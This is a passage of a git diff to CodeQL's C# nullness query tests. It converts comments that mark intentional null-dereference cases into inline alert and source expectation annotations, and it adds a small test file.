+ Console.WriteLine(s.Length); // $ Alert[cs/dereferenced-value-is-always-null]
s = b ? null : "";
Assert.IsTrue(s != null);
@@ -28,7 +28,7 @@ class AssertTests
s = b ? null : "";
Assert.IsFalse(s != null);
- Console.WriteLine(s.Length); // BAD (always)
+ Console.WriteLine(s.Length); // $ Alert[cs/dereferenced-value-is-always-null]
s = b ? null : "";
Assert.IsFalse(s == null);
@@ -44,10 +44,10 @@ class AssertTests
s = b ? null : "";
Assert.IsTrue(s == null && b);
- Console.WriteLine(s.Length); // BAD (always)
+ Console.WriteLine(s.Length); // $ Alert[cs/dereferenced-value-is-always-null]
s = b ? null : "";
Assert.IsFalse(s != null || !b);
- Console.WriteLine(s.Length); // BAD (always)
+ Console.WriteLine(s.Length); // $ Alert[cs/dereferenced-value-is-always-null]
}
}
diff --git a/csharp/ql/test/query-tests/Nullness/B.cs b/csharp/ql/test/query-tests/Nullness/B.cs
index 76ebb6ffd8e..946bacecefb 100644
--- a/csharp/ql/test/query-tests/Nullness/B.cs
+++ b/csharp/ql/test/query-tests/Nullness/B.cs
@@ -10,7 +10,7 @@ class B
B neqCallAlways = null;
if (eqCallAlways == null)
- eqCallAlways.ToString(); // BAD (always)
+ eqCallAlways.ToString(); // $ Alert[cs/dereferenced-value-is-always-null]
if (b2 != null)
b2.ToString(); // GOOD
@@ -21,7 +21,7 @@ class B
if (neqCallAlways != null) { }
else
- neqCallAlways.ToString(); // BAD (always)
+ neqCallAlways.ToString(); // $ Alert[cs/dereferenced-value-is-always-null]
}
public static bool operator ==(B b1, B b2)
diff --git a/csharp/ql/test/query-tests/Nullness/C.cs b/csharp/ql/test/query-tests/Nullness/C.cs
index 805d9e2cae4..405dceb74d5 100644
--- a/csharp/ql/test/query-tests/Nullness/C.cs
+++ b/csharp/ql/test/query-tests/Nullness/C.cs
@@ -15,7 +15,7 @@ public class C
if (!(o != null))
{
- o.GetHashCode(); // BAD (always)
+ o.GetHashCode(); // $ Alert[cs/dereferenced-value-is-always-null]
}
}
@@ -39,7 +39,7 @@ public class C
{
var s = Maybe() ? null : "";
Debug.Assert(s == null);
- s.ToString(); // BAD (always)
+ s.ToString(); // $ Alert[cs/dereferenced-value-is-always-null]
s = Maybe() ? null : "";
Debug.Assert(s != null);
@@ -50,22 +50,22 @@ public class C
{
var o1 = new object();
AssertNull(o1);
- o1.ToString(); // BAD (always) (false negative)
+ o1.ToString(); // $ MISSING: Alert[cs/dereferenced-value-is-always-null]
var o2 = Maybe() ? null : "";
Assert.IsNull(o2);
- o2.ToString(); // BAD (always)
+ o2.ToString(); // $ Alert[cs/dereferenced-value-is-always-null]
}
public void AssertNotNullTest()
{
- var o1 = Maybe() ? null : new object();
+ var o1 = Maybe() ? null : new object(); // $ Source[cs/dereferenced-value-may-be-null]
AssertNonNull(o1);
- o1.ToString(); // GOOD (false positive)
+ o1.ToString(); // $ SPURIOUS (false positive): Alert[cs/dereferenced-value-may-be-null]
- var o2 = Maybe() ? null : new object();
+ var o2 = Maybe() ? null : new object(); // $ Source[cs/dereferenced-value-may-be-null]
AssertNonNull(o1);
- o2.ToString(); // BAD (maybe)
+ o2.ToString(); // $ Alert[cs/dereferenced-value-may-be-null]
var o3 = Maybe() ? null : new object();
Assert.IsNotNull(o3);
@@ -91,16 +91,16 @@ public class C
public void Lock()
{
- var o = Maybe() ? null : new object();
- lock (o) // BAD (maybe)
+ var o = Maybe() ? null : new object(); // $ Source[cs/dereferenced-value-may-be-null]
+ lock (o) // $ Alert[cs/dereferenced-value-may-be-null]
o.ToString(); // GOOD
}
public void Foreach(IEnumerable list)
{
if (Maybe())
- list = null;
- foreach (var x in list) // BAD (maybe)
+ list = null; // $ Source[cs/dereferenced-value-may-be-null]
+ foreach (var x in list) // $ Alert[cs/dereferenced-value-may-be-null]
{
x.ToString(); // GOOD
list.ToString(); // GOOD
@@ -159,7 +159,7 @@ public class C
s = null;
do
{
- s.ToString(); // BAD (always)
+ s.ToString(); // $ Alert[cs/dereferenced-value-is-always-null]
s = null;
}
while (s != null);
@@ -167,15 +167,15 @@ public class C
s = null;
do
{
- s.ToString(); // BAD (always)
+ s.ToString(); // $ Alert[cs/dereferenced-value-is-always-null]
}
while (s != null);
s = "";
do
{
- s.ToString(); // BAD (maybe)
- s = null;
+ s.ToString(); // $ Alert[cs/dereferenced-value-may-be-null]
+ s = null; // $ Source[cs/dereferenced-value-may-be-null]
}
while (true);
}
@@ -193,15 +193,15 @@ public class C
s = null;
while (b)
{
- s.ToString(); // BAD (always)
+ s.ToString(); // $ Alert[cs/dereferenced-value-is-always-null]
s = null;
}
s = "";
while (true)
{
- s.ToString(); // BAD (maybe)
- s = null;
+ s.ToString(); // $ Alert[cs/dereferenced-value-may-be-null]
+ s = null; // $ Source[cs/dereferenced-value-may-be-null]
}
}
@@ -215,12 +215,12 @@ public class C
}
if (s == null)
- s.ToString(); // BAD (always)
+ s.ToString(); // $ Alert[cs/dereferenced-value-is-always-null]
s = "";
if (s != null && s.Length % 2 == 0)
- s = null;
- s.ToString(); // BAD (maybe)
+ s = null; // $ Source[cs/dereferenced-value-may-be-null]
+ s.ToString(); // $ Alert[cs/dereferenced-value-may-be-null]
}
public void For()
@@ -230,23 +230,23 @@ public class C
{
s.ToString(); // GOOD
}
- s.ToString(); // BAD (always)
+ s.ToString(); // $ Alert[cs/dereferenced-value-is-always-null]
for (s = null; s == null; s = null)
{
- s.ToString(); // BAD (always)
+ s.ToString(); // $ Alert[cs/dereferenced-value-is-always-null]
}
- for (s = ""; ; s = null)
+ for (s = ""; ; s = null) // $ Source[cs/dereferenced-value-may-be-null]
{
- s.ToString(); // BAD (maybe)
+ s.ToString(); // $ Alert[cs/dereferenced-value-may-be-null]
}
}
public void ArrayAssignTest()
{
int[] a = null;
- a[0] = 10; // BAD (always)
+ a[0] = 10; // $ Alert[cs/dereferenced-value-is-always-null]
a = new int[10];
a[0] = 42; // GOOD
@@ -257,8 +257,8 @@ public class C
int[] ia = null;
string[] sa = null;
- ia[1] = 0; // BAD (always)
- var temp = sa.Length; // BAD (always)
+ ia[1] = 0; // $ Alert[cs/dereferenced-value-is-always-null]
+ var temp = sa.Length; // $ Alert[cs/dereferenced-value-is-always-null]
ia[1] = 0; // BAD (always), but not first
temp = sa.Length; // BAD (always), but not first
diff --git a/csharp/ql/test/query-tests/Nullness/D.cs b/csharp/ql/test/query-tests/Nullness/D.cs
index 40419b7f577..ffc4fd193c7 100644
--- a/csharp/ql/test/query-tests/Nullness/D.cs
+++ b/csharp/ql/test/query-tests/Nullness/D.cs
@@ -14,22 +14,22 @@ public class D
public void Caller()
{
Callee1(new object());
- Callee1(null);
+ Callee1(null); // $ Source[cs/dereferenced-value-may-be-null]
Callee2(new object());
}
public void Callee1(object param)
{
- param.ToString(); // BAD (maybe)
+ param.ToString(); // $ Alert[cs/dereferenced-value-may-be-null]
}
- public void Callee2(object param)
+ public void Callee2(object param) // $ Source[cs/dereferenced-value-may-be-null]
{
if (param != null)
{
param.ToString(); // GOOD
}
- param.ToString(); // BAD (maybe)
+ param.ToString(); // $ Alert[cs/dereferenced-value-may-be-null]
}
private static bool CustomIsNull(object x)
@@ -55,54 +55,54 @@ public class D
if ((2 > 1 && o4 != null) != false)
o4.ToString(); // GOOD
- var o5 = (o4 != null) ? "" : null;
+ var o5 = (o4 != null) ? "" : null; // $ Source[cs/dereferenced-value-may-be-null]
if (o5 != null)
o4.ToString(); // GOOD
if (o4 != null)
- o5.ToString(); // GOOD (false positive)
+ o5.ToString(); // $ SPURIOUS (false positive): Alert[cs/dereferenced-value-may-be-null]
var o6 = maybe ? null : "";
if (!CustomIsNull(o6))
o6.ToString(); // GOOD
- var o7 = maybe ? null : "";
+ var o7 = maybe ? null : ""; // $ Source[cs/dereferenced-value-may-be-null]
var ok = o7 != null && 2 > 1;
if (ok)
o7.ToString(); // GOOD
else
- o7.ToString(); // BAD (maybe)
+ o7.ToString(); // $ Alert[cs/dereferenced-value-may-be-null]
- var o8 = maybe ? null : "";
+ var o8 = maybe ? null : ""; // $ Source[cs/dereferenced-value-may-be-null]
int track = o8 == null ? 42 : 1 + 1;
if (track == 2)
o8.ToString(); // GOOD
if (track != 42)
o8.ToString(); // GOOD
if (track < 42)
- o8.ToString(); // GOOD (false positive)
+ o8.ToString(); // $ SPURIOUS (false positive): Alert[cs/dereferenced-value-may-be-null]
if (track <= 41)
- o8.ToString(); // GOOD (false positive)
+ o8.ToString(); // $ SPURIOUS (false positive): Alert[cs/dereferenced-value-may-be-null]
}
public void Deref(int i)
{
- int[] xs = maybe ? null : new int[2];
+ int[] xs = maybe ? null : new int[2]; // $ Source[cs/dereferenced-value-may-be-null]
if (i > 1)
- xs[0] = 5; // BAD (maybe)
+ xs[0] = 5; // $ Alert[cs/dereferenced-value-may-be-null]
if (i > 2)
- maybe = xs[1] > 5; // BAD (maybe)
+ maybe = xs[1] > 5; // $ Alert[cs/dereferenced-value-may-be-null]
if (i > 3)
{
- var l = xs.Length; // BAD (maybe)
+ var l = xs.Length; // $ Alert[cs/dereferenced-value-may-be-null]
}
if (i > 4)
- foreach (var _ in xs) ; // BAD (maybe)
+ foreach (var _ in xs) ; // $ Alert[cs/dereferenced-value-may-be-null]
if (i > 5)
- lock (xs) // BAD (maybe)
+ lock (xs) // $ Alert[cs/dereferenced-value-may-be-null]
xs.ToString(); // Not reported - same basic block
if (i > 6)
@@ -117,12 +117,12 @@ public class D
var x = b ? null : "abc";
x = x == null ? "" : x;
if (x == null)
- x.ToString(); // BAD (always)
+ x.ToString(); // $ Alert[cs/dereferenced-value-is-always-null]
else
x.ToString(); // GOOD
}
- public void LengthGuard(int[] a, int[] b)
+ public void LengthGuard(int[] a, int[] b) // $ Source[cs/dereferenced-value-may-be-null]
{
int alen = a == null ? 0 : a.Length; // GOOD
int blen = b == null ? 0 : b.Length; // GOOD
@@ -131,8 +131,8 @@ public class D
{
for (int i = 0; i < alen; i++)
{
- sum += a[i]; // GOOD (false positive)
- sum += b[i]; // GOOD (false positive)
+ sum += a[i]; // $ SPURIOUS (false positive): Alert[cs/dereferenced-value-may-be-null]
+ sum += b[i]; // $ SPURIOUS (false positive): Alert[cs/dereferenced-value-may-be-null]
}
}
int alen2;
@@ -142,13 +142,13 @@ public class D
alen2 = 0;
for (int i = 1; i <= alen2; ++i)
{
- sum += a[i - 1]; // GOOD (false positive)
+ sum += a[i - 1]; // $ SPURIOUS (false positive): Alert[cs/dereferenced-value-may-be-null]
}
}
- public void MissedGuard(object obj)
+ public void MissedGuard(object obj) // $ Source[cs/dereferenced-value-may-be-null]
{
- obj.ToString(); // BAD (maybe)
+ obj.ToString(); // $ Alert[cs/dereferenced-value-may-be-null]
var x = obj != null ? 1 : 0;
}
@@ -160,7 +160,7 @@ public class D
public void Exceptions()
{
- object obj = null;
+ object obj = null; // $ Source[cs/dereferenced-value-may-be-null]
try
{
obj = MkMaybe();
@@ -168,7 +168,7 @@ public class D
catch (Exception e)
{
}
- obj.ToString(); // BAD (maybe)
+ obj.ToString(); // $ Alert[cs/dereferenced-value-may-be-null]
object obj2 = null;
try
@@ -194,7 +194,7 @@ public class D
{
var o = new Object();
if (o == null)
- o.ToString(); // BAD (always)
+ o.ToString(); // $ Alert[cs/dereferenced-value-is-always-null]
o.ToString(); // GOOD
try
@@ -204,7 +204,7 @@ public class D
catch (Exception e)
{
if (e == null)
- e.ToString(); // BAD (always)
+ e.ToString(); // $ Alert[cs/dereferenced-value-is-always-null]
e.ToString(); // GOOD
}
@@ -214,12 +214,12 @@ public class D
var o3 = "abc";
if (o3 == null)
- o3.ToString(); // BAD (always)
+ o3.ToString(); // $ Alert[cs/dereferenced-value-is-always-null]
o3.ToString(); // GOOD
var o4 = "" + null;
if (o4 == null)
- o4.ToString(); // BAD (always)
+ o4.ToString(); // $ Alert[cs/dereferenced-value-is-always-null]
o4.ToString(); // GOOD
}
@@ -237,25 +237,25 @@ public class D
if (flag)
o.ToString(); // GOOD
- o = null;
+ o = null; // $ Source[cs/dereferenced-value-may-be-null]
var other = maybe ? null : "";
if (other == null)
o = "";
if (other != null)
- o.ToString(); // BAD (always) (reported as maybe)
+ o.ToString(); // $ Alert[cs/dereferenced-value-may-be-null] (always - but reported as maybe)
else
- o.ToString(); // GOOD (false positive)
+ o.ToString(); // $ SPURIOUS (false positive): Alert[cs/dereferenced-value-may-be-null]
- var o2 = (num < 0) ? null : "";
+ var o2 = (num < 0) ? null : ""; // $ Source[cs/dereferenced-value-may-be-null]
if (num < 0)
o2 = "";
else
- o2.ToString(); // GOOD (false positive)
+ o2.ToString(); // $ SPURIOUS (false positive): Alert[cs/dereferenced-value-may-be-null]
}
public void TrackingVariable(int[] a)
{
- object o = null;
+ object o = null; // $ Source[cs/dereferenced-value-may-be-null]
object other = null;
if (maybe)
{
@@ -264,9 +264,9 @@ public class D
}
if (other is string)
- o.ToString(); // GOOD (false positive)
+ o.ToString(); // $ SPURIOUS (false positive): Alert[cs/dereferenced-value-may-be-null]
- o = null;
+ o = null; // $ Source[cs/dereferenced-value-may-be-null]
int count = 0;
var found = false;
for (var i = 0; i < a.Length; i++)
@@ -280,7 +280,7 @@ public class D
}
if (a[i] > 10000)
{
- o = null;
+ o = null; // $ Source[cs/dereferenced-value-may-be-null]
count = 0;
if (2 > i) { }
found = false;
@@ -288,20 +288,20 @@ public class D
}
if (count > 3)
- o.ToString(); // GOOD (false positive)
+ o.ToString(); // $ SPURIOUS (false positive): Alert[cs/dereferenced-value-may-be-null]
if (found)
- o.ToString(); // GOOD (false positive)
+ o.ToString(); // $ SPURIOUS (false positive): Alert[cs/dereferenced-value-may-be-null]
- object prev = null;
+ object prev = null; // $ Source[cs/dereferenced-value-may-be-null]
for (var i = 0; i < a.Length; ++i)
{
if (i != 0)
- prev.ToString(); // GOOD (false positive)
+ prev.ToString(); // $ SPURIOUS (false positive): Alert[cs/dereferenced-value-may-be-null]
prev = a[i];
}
- string s = null;
+ string s = null; // $ Source[cs/dereferenced-value-may-be-null]
{
var s_null = true;
foreach (var i in a)
@@ -310,10 +310,10 @@ public class D
s = "" + a;
}
if (!s_null)
- s.ToString(); // GOOD (false positive)
+ s.ToString(); // $ SPURIOUS (false positive): Alert[cs/dereferenced-value-may-be-null]
}
- object r = null;
+ object r = null; // $ Source[cs/dereferenced-value-may-be-null]
var stat = MyStatus.INIT;
while (stat == MyStatus.INIT && stat != MyStatus.READY)
{
@@ -321,7 +321,7 @@ public class D
if (stat == MyStatus.INIT)
stat = MyStatus.READY;
}
- r.ToString(); // GOOD (false positive)
+ r.ToString(); // $ SPURIOUS (false positive): Alert[cs/dereferenced-value-may-be-null]
}
public enum MyStatus
@@ -348,28 +348,28 @@ public class D
public void LoopCorr(int iters)
{
- int[] a = null;
+ int[] a = null; // $ Source[cs/dereferenced-value-may-be-null]
if (iters > 0)
a = new int[iters];
for (var i = 0; i < iters; ++i)
- a[i] = 0; // GOOD (false positive)
+ a[i] = 0; // $ SPURIOUS (false positive): Alert[cs/dereferenced-value-may-be-null]
if (iters > 0)
{
- string last = null;
+ string last = null; // $ Source[cs/dereferenced-value-may-be-null]
for (var i = 0; i < iters; i++)
last = "abc";
- last.ToString(); // GOOD (false positive)
+ last.ToString(); // $ SPURIOUS (false positive): Alert[cs/dereferenced-value-may-be-null]
}
- int[] b = maybe ? null : new int[iters];
+ int[] b = maybe ? null : new int[iters]; // $ Source[cs/dereferenced-value-may-be-null]
if (iters > 0 && (b == null || b.Length < iters))
throw new Exception();
for (var i = 0; i < iters; ++i)
{
- b[i] = 0; // GOOD (false positive)
+ b[i] = 0; // $ SPURIOUS (false positive): Alert[cs/dereferenced-value-may-be-null]
}
}
@@ -382,33 +382,33 @@ public class D
if (ioe != null)
ioe = e;
else
- ioe.ToString(); // BAD (always)
+ ioe.ToString(); // $ Alert[cs/dereferenced-value-is-always-null]
}
- public void LengthGuard2(int[] a, int[] b)
+ public void LengthGuard2(int[] a, int[] b) // $ Source[cs/dereferenced-value-may-be-null]
{
int alen = a == null ? 0 : a.Length; // GOOD
int sum = 0;
int i;
for (i = 0; i < alen; i++)
{
- sum += a[i]; // GOOD (false positive)
+ sum += a[i]; // $ SPURIOUS (false positive): Alert[cs/dereferenced-value-may-be-null]
}
int blen = b == null ? 0 : b.Length; // GOOD
for (i = 0; i < blen; i++)
{
- sum += b[i]; // GOOD (false positive)
+ sum += b[i]; // $ SPURIOUS (false positive): Alert[cs/dereferenced-value-may-be-null]
}
i = -3;
}
- public void CorrConds2(object x, object y)
+ public void CorrConds2(object x, object y) // $ Source[cs/dereferenced-value-may-be-null]
{
if ((x != null && y == null) || (x == null && y != null))
return;
if (x != null)
- y.ToString(); // GOOD (false positive)
+ y.ToString(); // $ SPURIOUS (false positive): Alert[cs/dereferenced-value-may-be-null]
if (y != null)
- x.ToString(); // GOOD (false positive)
+ x.ToString(); // $ SPURIOUS (false positive): Alert[cs/dereferenced-value-may-be-null]
}
}
diff --git a/csharp/ql/test/query-tests/Nullness/E.cs b/csharp/ql/test/query-tests/Nullness/E.cs
index ec1fa161392..f8264523b68 100644
--- a/csharp/ql/test/query-tests/Nullness/E.cs
+++ b/csharp/ql/test/query-tests/Nullness/E.cs
@@ -6,12 +6,12 @@ public class E
{
public void Ex1(long[][][] a1, int ix, int len)
{
- long[][] a2 = null;
+ long[][] a2 = null; // $ Source[cs/dereferenced-value-may-be-null]
var haveA2 = ix < len && (a2 = a1[ix]) != null;
- long[] a3 = null;
- var haveA3 = haveA2 && (a3 = a2[ix]) != null; // GOOD (FALSE POSITIVE)
+ long[] a3 = null; // $ Source[cs/dereferenced-value-may-be-null]
+ var haveA3 = haveA2 && (a3 = a2[ix]) != null; // $ SPURIOUS (false positive): Alert[cs/dereferenced-value-may-be-null]
if (haveA3)
- a3[0] = 0; // GOOD (FALSE POSITIVE)
+ a3[0] = 0; // $ SPURIOUS (false positive): Alert[cs/dereferenced-value-may-be-null]
}
public void Ex2(bool x, bool y)
@@ -20,11 +20,11 @@ public class E
var s2 = (s1 == null) ? null : "";
if (s2 == null)
{
- s1 = y ? null : "";
+ s1 = y ? null : ""; // $ Source[cs/dereferenced-value-may-be-null]
s2 = (s1 == null) ? null : "";
}
if (s2 != null)
- s1.ToString(); // GOOD (FALSE POSITIVE)
+ s1.ToString(); // $ SPURIOUS (false positive): Alert[cs/dereferenced-value-may-be-null]
}
public void Ex3(IEnumerable ss)
@@ -48,7 +48,7 @@ public class E
{
int index = 0;
var result = new List>();
- List slice = null;
+ List slice = null; // $ Source[cs/dereferenced-value-may-be-null]
var iter = list.GetEnumerator();
while (iter.MoveNext())
{
@@ -58,19 +58,19 @@ public class E
slice = new List();
result.Add(slice);
}
- slice.Add(str); // GOOD (FALSE POSITIVE)
+ slice.Add(str); // $ SPURIOUS (false positive): Alert[cs/dereferenced-value-may-be-null]
++index;
}
}
- public void Ex5(bool hasArr, int[] arr)
+ public void Ex5(bool hasArr, int[] arr) // $ Source[cs/dereferenced-value-may-be-null]
{
int arrLen = 0;
if (hasArr)
arrLen = arr == null ? 0 : arr.Length;
if (arrLen > 0)
- arr[0] = 0; // GOOD (FALSE POSITIVE)
+ arr[0] = 0; // $ SPURIOUS (false positive): Alert[cs/dereferenced-value-may-be-null]
}
public const int MY_CONST_A = 1;
@@ -104,12 +104,12 @@ public class E
public void Ex7(int[] arr1)
{
- int[] arr2 = null;
+ int[] arr2 = null; // $ Source[cs/dereferenced-value-may-be-null]
if (arr1.Length > 0)
arr2 = new int[arr1.Length];
for (var i = 0; i < arr1.Length; i++)
- arr2[i] = arr1[i]; // GOOD (FALSE POSITIVE)
+ arr2[i] = arr1[i]; // $ SPURIOUS (false positive): Alert[cs/dereferenced-value-may-be-null]
}
public void Ex8(int x, int lim)
@@ -122,7 +122,7 @@ public class E
int j = 0;
while (!stop && j < lim)
{
- int step = (j * obj.GetHashCode()) % 10; // GOOD (FALSE POSITIVE)
+ int step = (j * obj.GetHashCode()) % 10; // $ SPURIOUS (false positive): Alert[cs/dereferenced-value-may-be-null]
if (step == 0)
{
obj.ToString(); // GOOD
@@ -134,7 +134,7 @@ public class E
}
else
{
- obj = null;
+ obj = null; // $ Source[cs/dereferenced-value-may-be-null]
}
continue;
}
@@ -149,33 +149,33 @@ public class E
{
return;
}
- object obj2 = obj1;
+ object obj2 = obj1; // $ Source[cs/dereferenced-value-may-be-null]
if (obj2 != null && obj2.GetHashCode() % 5 > 2)
{
obj2.ToString(); // GOOD
cond = true;
}
if (cond)
- obj2.ToString(); // GOOD (FALSE POSITIVE)
+ obj2.ToString(); // $ SPURIOUS (false positive): Alert[cs/dereferenced-value-may-be-null]
}
- public void Ex10(int[] a)
+ public void Ex10(int[] a) // $ Source[cs/dereferenced-value-may-be-null]
{
int n = a == null ? 0 : a.Length;
for (var i = 0; i < n; i++)
{
- int x = a[i]; // GOOD (FALSE POSITIVE)
+ int x = a[i]; // $ SPURIOUS (false positive): Alert[cs/dereferenced-value-may-be-null]
if (x > 7)
a = new int[n];
}
}
- public void Ex11(object obj, bool b1)
+ public void Ex11(object obj, bool b1) // $ Source[cs/dereferenced-value-may-be-null]
{
bool b2 = obj == null ? false : b1;
if (b2 == null)
{
- obj.ToString(); // GOOD (FALSE POSITIVE)
+ obj.ToString(); // $ SPURIOUS (false positive): Alert[cs/dereferenced-value-may-be-null]
}
if (obj == null)
{
@@ -183,61 +183,61 @@ public class E
}
if (b1 == null)
{
- obj.ToString(); // GOOD (FALSE POSITIVE)
+ obj.ToString(); // $ SPURIOUS (false positive): Alert[cs/dereferenced-value-may-be-null]
}
}
- public void Ex12(object o)
+ public void Ex12(object o) // $ Source[cs/dereferenced-value-may-be-null]
{
- var i = o.GetHashCode(); // BAD (maybe)
+ var i = o.GetHashCode(); // $ Alert[cs/dereferenced-value-may-be-null]
var s = o?.ToString();
}
public void Ex13(bool b)
{
- var o = b ? null : "";
+ var o = b ? null : ""; // $ Source[cs/dereferenced-value-may-be-null]
o.M1(); // GOOD
if (b)
- o.M2(); // BAD (maybe)
+ o.M2(); // $ Alert[cs/dereferenced-value-may-be-null]
else
- o.Select(x => x); // BAD (maybe)
+ o.Select(x => x); // $ Alert[cs/dereferenced-value-may-be-null]
}
public int Ex14(string s)
{
if (s is string)
return s.Length;
- return s.GetHashCode(); // BAD (always)
+ return s.GetHashCode(); // $ Alert[cs/dereferenced-value-is-always-null]
}
public void Ex15(bool b)
{
var x = "";
if (b)
- x = null;
- x.ToString(); // BAD (maybe)
+ x = null; // $ Source[cs/dereferenced-value-may-be-null]
+ x.ToString(); // $ Alert[cs/dereferenced-value-may-be-null]
if (b)
- x.ToString(); // BAD (always)
+ x.ToString(); // $ Alert[cs/dereferenced-value-is-always-null]
}
public void Ex16(bool b)
{
var x = "";
if (b)
- x = null;
+ x = null; // $ Source[cs/dereferenced-value-may-be-null]
if (b)
- x.ToString(); // BAD (always)
- x.ToString(); // BAD (maybe)
+ x.ToString(); // $ Alert[cs/dereferenced-value-is-always-null]
+ x.ToString(); // $ Alert[cs/dereferenced-value-may-be-null]
}
- public int Ex17(int? i)
+ public int Ex17(int? i) // $ Source[cs/dereferenced-value-may-be-null]
{
- return i.Value; // BAD (maybe)
+ return i.Value; // $ Alert[cs/dereferenced-value-may-be-null]
}
- public int Ex18(int? i)
+ public int Ex18(int? i) // $ Source[cs/dereferenced-value-may-be-null]
{
- return (int)i; // BAD (maybe)
+ return (int)i; // $ Alert[cs/dereferenced-value-may-be-null]
}
public int Ex19(int? i)
@@ -280,9 +280,9 @@ public class E
{
if (b)
b.ToString();
- var o = Make();
+ var o = Make(); // $ Source[cs/dereferenced-value-may-be-null]
o?.ToString();
- o.ToString(); // BAD (maybe)
+ o.ToString(); // $ Alert[cs/dereferenced-value-may-be-null]
if (b)
b.ToString();
}
@@ -298,8 +298,8 @@ public class E
public void Ex25(object o)
{
- var s = o as string;
- s.ToString(); // BAD (maybe)
+ var s = o as string; // $ Source[cs/dereferenced-value-may-be-null]
+ s.ToString(); // $ Alert[cs/dereferenced-value-may-be-null]
}
private long? l;
@@ -320,15 +320,15 @@ public class E
{
if ((s1 ?? s2) is null)
{
- s1.ToString(); // BAD (always)
- s2.ToString(); // BAD (always)
+ s1.ToString(); // $ Alert[cs/dereferenced-value-is-always-null]
+ s2.ToString(); // $ Alert[cs/dereferenced-value-is-always-null]
}
}
static void Ex28()
{
var x = (string)null ?? null;
- x.ToString(); // BAD (always)
+ x.ToString(); // $ Alert[cs/dereferenced-value-is-always-null]
}
static void Ex29(string s)
@@ -339,14 +339,14 @@ public class E
static void Ex30(string s, object o)
{
- var x = s ?? o as string;
- x.ToString(); // BAD (maybe)
+ var x = s ?? o as string; // $ Source[cs/dereferenced-value-may-be-null]
+ x.ToString(); // $ Alert[cs/dereferenced-value-may-be-null]
}
static void Ex31(string s, object o)
{
- dynamic x = s ?? o as string;
- x.ToString(); // BAD (maybe)
+ dynamic x = s ?? o as string; // $ Source[cs/dereferenced-value-may-be-null]
+ x.ToString(); // $ Alert[cs/dereferenced-value-may-be-null]
}
static void Ex32(string s, object o)
@@ -363,7 +363,7 @@ public class E
x.ToString(); // GOOD
}
- static int Ex34(string s = null) => s.Length; // BAD (maybe)
+ static int Ex34(string s = null) => s.Length; // $ Alert[cs/dereferenced-value-may-be-null]
static int Ex35(string s = "null") => s.Length; // GOOD
@@ -371,19 +371,19 @@ public class E
{
if (o is string)
{
- var s = o as string;
- return s.Length; // GOOD (FALSE POSITIVE)
+ var s = o as string; // $ Source[cs/dereferenced-value-may-be-null]
+ return s.Length; // $ SPURIOUS (false positive): Alert[cs/dereferenced-value-may-be-null]
}
return -1;
}
- static bool Ex37(E e1, E e2)
+ static bool Ex37(E e1, E e2) // $ Source[cs/dereferenced-value-may-be-null]
{
if ((e1 == null && e2 != null) || (e1 != null && e2 == null))
return false;
if (e1 == null && e2 == null)
return true;
- return e1.Long == e2.Long; // GOOD (FALSE POSITIVE)
+ return e1.Long == e2.Long; // $ SPURIOUS (false positive): Alert[cs/dereferenced-value-may-be-null]
}
int Ex38(int? i)
@@ -402,7 +402,7 @@ public class E
{
int? i = null;
i ??= null;
- return i.Value; // BAD (always)
+ return i.Value; // $ Alert[cs/dereferenced-value-is-always-null]
}
int Ex41()
@@ -414,20 +414,20 @@ public class E
static bool Ex42(int? i, IEnumerable @is)
{
- return @is.Any(j => j == i.Value); // BAD (maybe)
+ return @is.Any(j => j == i.Value); // $ Alert[cs/dereferenced-value-may-be-null]
}
static bool Ex43(int? i, IEnumerable @is)
{
if (i.HasValue)
- return @is.Any(j => j == i.Value); // GOOD (FALSE POSITIVE)
+ return @is.Any(j => j == i.Value); // $ SPURIOUS (false positive): Alert[cs/dereferenced-value-may-be-null]
return false;
}
static bool Ex44(int? i, IEnumerable @is)
{
if (i.HasValue)
- @is = @is.Where(j => j == i.Value); // BAD (always)
+ @is = @is.Where(j => j == i.Value); // $ Alert[cs/dereferenced-value-may-be-null]
i = null;
return @is.Any();
}
@@ -436,12 +436,12 @@ public class E
{
if (s is null)
{
- s.ToString(); // BAD (always)
+ s.ToString(); // $ Alert[cs/dereferenced-value-is-always-null]
}
if (s is not not null)
{
- s.ToString(); // BAD (always) (FALSE NEGATIVE)
+ s.ToString(); // $ MISSING: Alert[cs/dereferenced-value-is-always-null]
}
if (s is not null)
diff --git a/csharp/ql/test/query-tests/Nullness/F.cs b/csharp/ql/test/query-tests/Nullness/F.cs
new file mode 100644
index 00000000000..b5d6b66b949
--- /dev/null
+++ b/csharp/ql/test/query-tests/Nullness/F.cs
@@ -0,0 +1,16 @@
+using Library;
+
+public class F
+{
+ public void M1()
+ {
+ object o = null;
+ o.Accept(); // $ Alert[cs/dereferenced-value-is-always-null]
+ }
+
+ public void M2()
+ {
+ object? o = null;
+ o.AcceptNullable();
+ }
+}
diff --git a/csharp/ql/test/query-tests/Nullness/Forwarding.cs b/csharp/ql/test/query-tests/Nullness/Forwarding.cs
index fc7b69da490..122c5036567 100644
--- a/csharp/ql/test/query-tests/Nullness/Forwarding.cs
+++ b/csharp/ql/test/query-tests/Nullness/Forwarding.cs
@@ -33,11 +33,11 @@ class ForwardingTests
if (IsNotNullWrong(s))
{
- Console.WriteLine(s.Length); // BAD (always)
+ Console.WriteLine(s.Length); // $ Alert[cs/dereferenced-value-is-always-null]
}
AssertIsNotNull(s);
- Console.WriteLine(s.Length); // GOOD (false positive)
+ Console.WriteLine(s.Length); // $ SPURIOUS (false positive): Alert[cs/dereferenced-value-is-always-null]
}
bool IsNotNull(object o)
diff --git a/csharp/ql/test/query-tests/Nullness/GuardedString.cs b/csharp/ql/test/query-tests/Nullness/GuardedString.cs
index b5b74cf19ca..797955d95eb 100644
--- a/csharp/ql/test/query-tests/Nullness/GuardedString.cs
+++ b/csharp/ql/test/query-tests/Nullness/GuardedString.cs
@@ -4,7 +4,7 @@ class GuardedStringTest
{
void Fn(bool b)
{
- string s = b ? null : "";
+ string s = b ? null : ""; // $ Source[cs/dereferenced-value-may-be-null]
if (!string.IsNullOrEmpty(s))
{
@@ -32,7 +32,7 @@ class GuardedStringTest
Console.WriteLine(s.Length); // GOOD
if (s?.Length != 0)
- Console.WriteLine(s.Length); // BAD (maybe)
+ Console.WriteLine(s.Length); // $ Alert[cs/dereferenced-value-may-be-null]
else
Console.WriteLine(s.Length); // GOOD
}
diff --git a/csharp/ql/test/query-tests/Nullness/Implications.expected b/csharp/ql/test/query-tests/Nullness/Implications.expected
index dbb6ab23a9a..ec660dd44a4 100644
--- a/csharp/ql/test/query-tests/Nullness/Implications.expected
+++ b/csharp/ql/test/query-tests/Nullness/Implications.expected
@@ -1305,6 +1305,10 @@
